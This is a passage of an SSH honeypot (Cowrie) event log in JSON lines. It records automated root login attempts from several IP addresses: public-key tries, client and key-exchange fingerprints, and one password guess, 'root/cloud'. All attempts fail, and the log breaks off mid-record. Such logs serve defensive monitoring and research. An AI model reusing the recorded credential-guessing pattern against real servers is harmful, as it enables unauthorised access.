{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:f9:c2:5d:8c:fa:49:41:87:de:38:65:73:23:a2:54","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCvuH43cRmNLaJ/0hi/hp02lORZAe3RB7uUrdx2lt8bwD3G+is9hBo7J4g3ucgpVI5vyX6Z1i1C5WfwlLy8aHX6pwxSb/szT+MplaNLl1jxVlqqiYJPHkYEloPB4Sde7Eh2LScKxpWlKDZpizcDqGNWIcuKcu4194SrG+jt4iuHj91Hy8NpATrZsEVuRiLqsgpXSKyGJeHyd34AC/945F+WSJs8kmTBPTFNwAEzo3l/bIubDuCvW19HpDVphsUcSKhoZqWNa0k/6BHtSvsF/GIgL0/qtYXyqGRSWzUhJ4u7wA7hP/Ek12rBangBSCCZ/N0jKjpnewtgjvaC2RO9URET","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.738231Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:24:28:ec:a4:d1:2d:9a:7e:6c:05:02:70:63:bb:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtt0oXC30/PKQ5MdN/YoaSW7hXYUqbhqZ9YqmcMihkwtzC97mw+b8Gd3NXz+DjyJBvfg/Xj7NXWilndFVmfLz55SaVDngI2+bqcyKTT3dMMbAXDLcLzAPqROe8ov6eM8mxP0NNudjGhYjiwmTEt/UbpBr7wenNeHOmCAOq09xl0f4klIC/0XfuRp7LmQ97op5fVmyvVGm0qu6hyV0WgIEwLlCg6+CWB6Fdejq5+aho+GKL2mD/7fhFlqBeBJTXJrH+p3/lBR+QambmVtSF9wYjSjNZ0mhOkmjMUG9vaPRFWPf4jwyd77GU4S5U7O7V80YMc/1xPDwrYq0CTxQ7OI+/","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:24:28:ec:a4:d1:2d:9a:7e:6c:05:02:70:63:bb:24","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.825866Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:24:28:ec:a4:d1:2d:9a:7e:6c:05:02:70:63:bb:24","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDtt0oXC30/PKQ5MdN/YoaSW7hXYUqbhqZ9YqmcMihkwtzC97mw+b8Gd3NXz+DjyJBvfg/Xj7NXWilndFVmfLz55SaVDngI2+bqcyKTT3dMMbAXDLcLzAPqROe8ov6eM8mxP0NNudjGhYjiwmTEt/UbpBr7wenNeHOmCAOq09xl0f4klIC/0XfuRp7LmQ97op5fVmyvVGm0qu6hyV0WgIEwLlCg6+CWB6Fdejq5+aho+GKL2mD/7fhFlqBeBJTXJrH+p3/lBR+QambmVtSF9wYjSjNZ0mhOkmjMUG9vaPRFWPf4jwyd77GU4S5U7O7V80YMc/1xPDwrYq0CTxQ7OI+/","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.834897Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:3c:f1:50:fe:67:d4:3a:4f:85:48:e8:ca:6e:22:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuNR6oG22k7tNj0mieRs4aih6CQYR8MwApxDNU9l/cbcQx4D4Z1Ri/YsCynwMJrrLJnlb3SjOSBsWX5VZ+LxjPDPJXUJZiL/THXe+26lpmC8BuWqvsYaZGDzS1uQaRewmfQtgB8HDCAQmx29R+4LvButi9nnKY7wtWtORsr7vIi3QuQn1jLX3erRppKDOt7adxGXUEjntFCpIzHEwe32H1iryg0tEe6luGCe3hW7mN0F2LLZy22+myL/cIX+JcQQKzMqNa8BdTS3HbTcsJaaGP6CDWVEcC8HlrhmmJxxIMSObQ1yHopS+sRY4eNipGG8ooKl4zzUh2FJSgLSFwdBBp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 29:3c:f1:50:fe:67:d4:3a:4f:85:48:e8:ca:6e:22:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.924716Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:3c:f1:50:fe:67:d4:3a:4f:85:48:e8:ca:6e:22:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuNR6oG22k7tNj0mieRs4aih6CQYR8MwApxDNU9l/cbcQx4D4Z1Ri/YsCynwMJrrLJnlb3SjOSBsWX5VZ+LxjPDPJXUJZiL/THXe+26lpmC8BuWqvsYaZGDzS1uQaRewmfQtgB8HDCAQmx29R+4LvButi9nnKY7wtWtORsr7vIi3QuQn1jLX3erRppKDOt7adxGXUEjntFCpIzHEwe32H1iryg0tEe6luGCe3hW7mN0F2LLZy22+myL/cIX+JcQQKzMqNa8BdTS3HbTcsJaaGP6CDWVEcC8HlrhmmJxxIMSObQ1yHopS+sRY4eNipGG8ooKl4zzUh2FJSgLSFwdBBp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:04.928905Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:59:d5:b2:71:c8:91:0f:7c:39:37:fd:33:cf:47:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEPkEuKUCOQK0bWm367bBaEEjFPuNMnHQOiKdVUze/fRQswrt5vVUhBatLPdJd9lPpGG4ofDCLdMzUAnSxnFR6MVv8MdIvthYx2IjOcJdzlMdB67cAaHyfSGWViNsyoQwGbh/Uy2G349sdoayO1e3ZPcp4F+5sZ5CVFDA/MQnQ4aT26ZfrV/DXEVEGrX9jQkc5fHJOZF/5Ueih+81/yuhfE7jnZMzTxApEGrGYZD/Qkiv/JcYaQdh83VIDNYSqtp82eDn9xi+tb0x7+YFBeJuFfUVhcjOy9QmnrYI1aleatgQna8oMFD/nRtTZYhqfcF19glP4kR65JTw6PfzQJRsN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:59:d5:b2:71:c8:91:0f:7c:39:37:fd:33:cf:47:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:05.047854Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:59:d5:b2:71:c8:91:0f:7c:39:37:fd:33:cf:47:c6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEPkEuKUCOQK0bWm367bBaEEjFPuNMnHQOiKdVUze/fRQswrt5vVUhBatLPdJd9lPpGG4ofDCLdMzUAnSxnFR6MVv8MdIvthYx2IjOcJdzlMdB67cAaHyfSGWViNsyoQwGbh/Uy2G349sdoayO1e3ZPcp4F+5sZ5CVFDA/MQnQ4aT26ZfrV/DXEVEGrX9jQkc5fHJOZF/5Ueih+81/yuhfE7jnZMzTxApEGrGYZD/Qkiv/JcYaQdh83VIDNYSqtp82eDn9xi+tb0x7+YFBeJuFfUVhcjOy9QmnrYI1aleatgQna8oMFD/nRtTZYhqfcF19glP4kR65JTw6PfzQJRsN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:05.052374Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:30:05.140352Z","src_ip":"51.77.222.246","session":"be7221338adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.174.146","src_port":48604,"dst_ip":"10.17.0.5","dst_port":22,"session":"35de7569bfeb","protocol":"ssh","message":"New connection: 74.48.174.146:48604 (10.17.0.5:22) [session: 35de7569bfeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.449224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.453932Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.522128Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:90:6f:75:81:f7:3d:63:64:11:72:e9:14:82:5a:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEagpqqYdmK5TNJe0upYaHq+8SHkG24uCUCY3VHSPLOn","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint a9:90:6f:75:81:f7:3d:63:64:11:72:e9:14:82:5a:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.838439Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:90:6f:75:81:f7:3d:63:64:11:72:e9:14:82:5a:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEagpqqYdmK5TNJe0upYaHq+8SHkG24uCUCY3VHSPLOn","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.843799Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:c1:5b:be:18:a2:85:61:75:d5:da:bb:4c:55:ed:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgD1azUDMAw8V5Df9HTq7Nc4MRO9Pu7cMIJ2uRZLe4+pB8zwiEw8tnrsGcZoBN+vkgQvEtHH0inP/CbNhWdJ2uD/O8VJNM1Xy8tRCzuGMeRKUqGYp1iX44UGVsLuXcphlUBEXQIsa22EVBXdeJNtpMOJXVpXm1mjEyemXy8DVTEKYQ/NNg274T5S93pALzKvNiQTkiIbJ2GoHGXDmAhR2eYPcSwV+srTdNy6++OpriS3FdmIZO5TBCXoC/AValRnuIxHTylc+ZWGdG8t7u04FJFSIt8LYsCowIV2Et76rDUGWz7iFWBJ4HQRZzg8/dntIcpYb+dfpdpkAsvraDT+dT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:c1:5b:be:18:a2:85:61:75:d5:da:bb:4c:55:ed:5c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.913142Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:c1:5b:be:18:a2:85:61:75:d5:da:bb:4c:55:ed:5c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgD1azUDMAw8V5Df9HTq7Nc4MRO9Pu7cMIJ2uRZLe4+pB8zwiEw8tnrsGcZoBN+vkgQvEtHH0inP/CbNhWdJ2uD/O8VJNM1Xy8tRCzuGMeRKUqGYp1iX44UGVsLuXcphlUBEXQIsa22EVBXdeJNtpMOJXVpXm1mjEyemXy8DVTEKYQ/NNg274T5S93pALzKvNiQTkiIbJ2GoHGXDmAhR2eYPcSwV+srTdNy6++OpriS3FdmIZO5TBCXoC/AValRnuIxHTylc+ZWGdG8t7u04FJFSIt8LYsCowIV2Et76rDUGWz7iFWBJ4HQRZzg8/dntIcpYb+dfpdpkAsvraDT+dT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.918437Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7c:11:fd:a2:f5:0b:f9:64:76:0d:dd:bb:31:3e:00:53","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMO2iGRoHRK9jf0rmeXazC2EQ1X/Dwj4PM52U0hwIH+gp2b2tfXOFLyxu+8tRIwDLZ450RIoiW7cjS5wHQ/9s4nTeIgVyzu8jqDbjIIbf0/bzcL5Z2cZA+pI+Xuy7u7KrWBzJFO2ZqbwCPPOZmSsEd43DD+pyCLiGkbrgAdgYXX9AAAAFQDey1lh7DmhCFMedwz485G9b4QUUwAAAIBkXVpFWdekjrwNQLCm8Q0YXfe1yMpPhqqFo4RaSAV9J41eW/WZuudPMznrgb/374cO5K6mmFU73EKUjq/PTZLLeA9DC347vC/i0xPyIeCJHLCznRUMkWXf2qZbxeKmqqkYZ4gZPtUZb53esZu9W21uropDej0QDfYcpTeEdbdxmwAAAIEAn3xKWkpfmbEecvTG+s9qEqwb47jvuRXezAsvX6F7oaGw9yef937LvZgNoE4PJoekoCOB13xWUbpc8zddFgdAWPe9xlVT2Y7MZZglAvvMONWERy6mdAh3mMxhPfLznxMdVxOu1AS3m+VCu13beTzJKO24x8ZTtuHDahD66aCusYw=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 7c:11:fd:a2:f5:0b:f9:64:76:0d:dd:bb:31:3e:00:53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.990475Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7c:11:fd:a2:f5:0b:f9:64:76:0d:dd:bb:31:3e:00:53","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMO2iGRoHRK9jf0rmeXazC2EQ1X/Dwj4PM52U0hwIH+gp2b2tfXOFLyxu+8tRIwDLZ450RIoiW7cjS5wHQ/9s4nTeIgVyzu8jqDbjIIbf0/bzcL5Z2cZA+pI+Xuy7u7KrWBzJFO2ZqbwCPPOZmSsEd43DD+pyCLiGkbrgAdgYXX9AAAAFQDey1lh7DmhCFMedwz485G9b4QUUwAAAIBkXVpFWdekjrwNQLCm8Q0YXfe1yMpPhqqFo4RaSAV9J41eW/WZuudPMznrgb/374cO5K6mmFU73EKUjq/PTZLLeA9DC347vC/i0xPyIeCJHLCznRUMkWXf2qZbxeKmqqkYZ4gZPtUZb53esZu9W21uropDej0QDfYcpTeEdbdxmwAAAIEAn3xKWkpfmbEecvTG+s9qEqwb47jvuRXezAsvX6F7oaGw9yef937LvZgNoE4PJoekoCOB13xWUbpc8zddFgdAWPe9xlVT2Y7MZZglAvvMONWERy6mdAh3mMxhPfLznxMdVxOu1AS3m+VCu13beTzJKO24x8ZTtuHDahD66aCusYw=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:14.996943Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d4:a5:4a:71:fe:13:e8:ad:73:b1:1c:30:4f:2f:31:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDiz25KfKdMf11SmdVI4v8p1PKBbOAih8wDFIOWEmkkM4yT0Y9rjPt1HNpu/yZdAM4x+t5VD8XYVTig0DQrSsrgpY/30MRauRQqAS58m/J7lvgEm9Wf0VOsKlYxLd2dC2ExoNfZu06OihwZSHDWFTgRTDKgph2LzDwHfcKOck/whafFGN743Y/fSnrHK3c+LJHSQXNHWSvEKG+D2kAXgOPzqQ5Rdgr2C8cry0Coie0+GNCiZroiw16rf8yHudkN3l7peQPxX0HADxPMgOF5CAd/cPsHbR5T/EsUrAYTygNEPpoMQ08wFRNNcgXouVH2qvIpcxA7i00MmXa/tKZCgrJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d4:a5:4a:71:fe:13:e8:ad:73:b1:1c:30:4f:2f:31:21","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:15.067307Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d4:a5:4a:71:fe:13:e8:ad:73:b1:1c:30:4f:2f:31:21","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDiz25KfKdMf11SmdVI4v8p1PKBbOAih8wDFIOWEmkkM4yT0Y9rjPt1HNpu/yZdAM4x+t5VD8XYVTig0DQrSsrgpY/30MRauRQqAS58m/J7lvgEm9Wf0VOsKlYxLd2dC2ExoNfZu06OihwZSHDWFTgRTDKgph2LzDwHfcKOck/whafFGN743Y/fSnrHK3c+LJHSQXNHWSvEKG+D2kAXgOPzqQ5Rdgr2C8cry0Coie0+GNCiZroiw16rf8yHudkN3l7peQPxX0HADxPMgOF5CAd/cPsHbR5T/EsUrAYTygNEPpoMQ08wFRNNcgXouVH2qvIpcxA7i00MmXa/tKZCgrJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:15.071909Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:1d:f0:c9:8f:25:2a:68:15:de:87:97:8a:9e:d7:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPEyIB7n8c9KXQKZ8CYaWKiXgus/but/rVJi9roG+WBAYfHSNP8eE+h4ZU58HPa2+iLiH+CK6Xi6EBuj3j5pMp4d02Uwgbm2Bejn6qtpmbVfRTkbP3mebR/JTkzo8atxydqmsqGtWa3qM+M8T9K9tbkCjqtxpQkcUwWEGzqiVBlyBWR8nuGsBPHZhm/YZx6tFyDcnkjwEavx5WrduQ1g4qauwFJd2HJ3/JDjdqHTJWJOoG21R9zdRxPzrJ4WmT83Zl3X3nZOCe0A+yJIQQj5ZqPEHX3O4/+1n9t2bRccX7/rwzUKvCD74VsA0+s/VksI/8t7XpcW4YzGZL7KWLTJpb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:1d:f0:c9:8f:25:2a:68:15:de:87:97:8a:9e:d7:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:15.141014Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:1d:f0:c9:8f:25:2a:68:15:de:87:97:8a:9e:d7:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPEyIB7n8c9KXQKZ8CYaWKiXgus/but/rVJi9roG+WBAYfHSNP8eE+h4ZU58HPa2+iLiH+CK6Xi6EBuj3j5pMp4d02Uwgbm2Bejn6qtpmbVfRTkbP3mebR/JTkzo8atxydqmsqGtWa3qM+M8T9K9tbkCjqtxpQkcUwWEGzqiVBlyBWR8nuGsBPHZhm/YZx6tFyDcnkjwEavx5WrduQ1g4qauwFJd2HJ3/JDjdqHTJWJOoG21R9zdRxPzrJ4WmT83Zl3X3nZOCe0A+yJIQQj5ZqPEHX3O4/+1n9t2bRccX7/rwzUKvCD74VsA0+s/VksI/8t7XpcW4YzGZL7KWLTJpb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:15.145509Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:15.214869Z","src_ip":"74.48.174.146","session":"35de7569bfeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":53458,"dst_ip":"159.203.135.109","dst_port":22,"session":"85918e06d04c","protocol":"ssh","message":"New connection: 163.245.222.56:53458 (159.203.135.109:22) [session: 85918e06d04c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:17.086973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:17.092325Z","src_ip":"163.245.222.56","session":"85918e06d04c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:17.098789Z","src_ip":"163.245.222.56","session":"85918e06d04c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud","message":"login attempt [root/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:17.152828Z","src_ip":"163.245.222.56","session":"85918e06d04c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:18.164482Z","src_ip":"163.245.222.56","session":"85918e06d04c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.38.85.149","src_port":53602,"dst_ip":"10.17.0.5","dst_port":22,"session":"700394ba1d31","protocol":"ssh","message":"New connection: 198.38.85.149:53602 (10.17.0.5:22) [session: 700394ba1d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:20.679273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:31:20.685022Z","src_ip":"198.38.85.149","session":"700394ba1d31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nis